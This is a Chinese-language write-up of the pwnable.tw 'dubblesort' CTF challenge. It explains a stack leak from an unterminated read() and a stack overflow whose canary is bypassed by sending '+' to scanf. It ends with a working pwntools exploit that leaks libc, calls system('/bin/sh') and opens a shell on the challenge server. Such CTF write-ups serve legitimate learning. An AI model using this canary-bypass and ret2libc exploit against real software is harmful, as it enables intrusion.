pwnable.tw dubblesort writeup

用到了scanf函数的一个比较少见的漏洞。靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序下载:http://file.eonew.cn/ctf/pwn/dubblesort.zip

安全防护

ex@Ex:~/test$ checksec dubblesort
[*] '/home/ex/test/dubblesort'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

溢出点

read(0, &buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :", &buf);

read函数读取,没有null截断,可以泄露栈信息。

do
{
  __printf_chk(1, "Enter the %d number : ", v5);
  fflush(stdout);
  __isoc99_scanf("%u", v4);
  ++v5;
  v3 = v11;
  ++v4;
}
while ( v11 > v5 );

输入的数目由用户确定,数目过大就会导致栈溢出。

分析

如果没有stack guard的话,这就是一个简单的栈溢出,但是程序有stack guard,这时就需要我们要保证输入的时候stack guard不会变,这里就要用到scanf的一个小技巧。

如果直接输入非法字符的话,由于程序没有对输入流进行清空,所以之后的scanf也都会是非法字符,也就是意味着后面的输入全部无效,但是输入+或者-时是被当成一次有效输入,由于我们仅仅输入+或者-并不能直接获得一个有效数值,所以本次scanf也作为无效看待,这样就能保证stack guard不会被修改,当进行下一次scanf的时候,识别到输入流不完整也会继续I/o中断等待输入。

思路

  1. 泄露地址
  2. 栈溢出

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}* .payload.sw*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

# context.arch = "amd64"
context.arch = "i386"
context.log_level = 'debug'
execve_file = './dubblesort'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10101)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *$rebase(0xAFE)
    b *$rebase(0xB17)
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

# pause()
sh.send('a' * 0x19)

sh.recvuntil('a' * 0x18)
libc_addr = (u32(sh.recvn(4)) & 0xfffff000) - 0x1b0000
log.success('libc_addr: ' + hex(libc_addr))

sh.recvn(4)
image_addr = u32(sh.recvn(4)) - 0x601
log.success('image_addr: ' + hex(image_addr))

# pause()
sh.sendlineafter('How many numbers do you what to sort :', '35')
for i in range(24):
    sh.sendlineafter('number : ', str(1))

sh.sendlineafter('number : ', '+')

for i in range(9):
    sh.sendlineafter('number : ', str(libc_addr + libc.symbols['system']))

sh.sendlineafter('number : ', str(libc_addr + libc.search('/bin/sh\0').next()))

sh.interactive()
clear()